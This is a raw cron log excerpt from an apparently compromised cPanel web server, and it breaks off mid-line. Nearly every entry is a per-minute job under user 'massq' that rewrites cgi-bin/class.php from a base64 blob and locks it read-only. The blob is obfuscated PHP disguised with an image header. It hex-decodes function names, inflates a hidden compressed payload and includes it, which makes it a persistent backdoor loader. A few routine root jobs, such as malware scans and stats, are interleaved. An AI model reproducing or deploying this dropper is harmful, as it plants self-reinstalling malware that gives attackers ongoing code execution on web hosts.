Nov 12 01:15:01 server CROND[26499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:16:01 server CROND[27305]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:17:01 server CROND[28213]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:18:01 server CROND[29034]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:19:01 server CROND[29871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:20:01 server CROND[30655]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 01:20:01 server CROND[30656]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 01:20:01 server CROND[30657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 01:20:01 server CROND[30661]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 01:20:01 server CROND[30660]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:21:01 server CROND[31691]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:22:01 server CROND[32610]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:23:02 server CROND[716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:24:01 server CROND[1406]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:25:01 server CROND[2228]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:25:01 server CROND[2230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 01:25:01 server CROND[2229]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 01:26:01 server CROND[3123]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:27:01 server CROND[3872]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:27:01 server CROND[3873]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 01:28:01 server CROND[4679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 